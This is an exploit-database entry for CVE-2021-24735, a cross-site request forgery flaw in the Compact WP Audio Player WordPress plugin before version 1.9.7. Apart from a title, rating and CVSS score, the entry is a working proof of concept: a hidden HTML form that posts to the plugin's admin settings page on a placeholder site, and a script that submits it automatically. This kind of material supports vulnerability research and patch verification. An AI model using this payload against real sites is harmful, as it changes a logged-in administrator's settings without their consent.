Exploit for Compact WP Audio Player < 1.9.7 - Setting Change via CSRF CVE-2021-24735

Name: Exploit for Compact WP Audio Player < 1.9.7 - Setting Change via CSRF CVE-2021-24735
Rating: 5 (247 reviews)

2021-09-15 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:DCBCF6E7-E5B3-498B-9F5E-7896D309441F
<form action="https://example.com/wp-admin/options-general.php?page=compact-wp-audio-player%2Fsc_audio_player.php" method="post" id="csrf">
<input name="sc_audio_player_settings" value="1" type="hidden">
<input name="sc_audio_disable_simultaneous_play" value="1" type="hidden">
</form>
<script>csrf.submit()</script>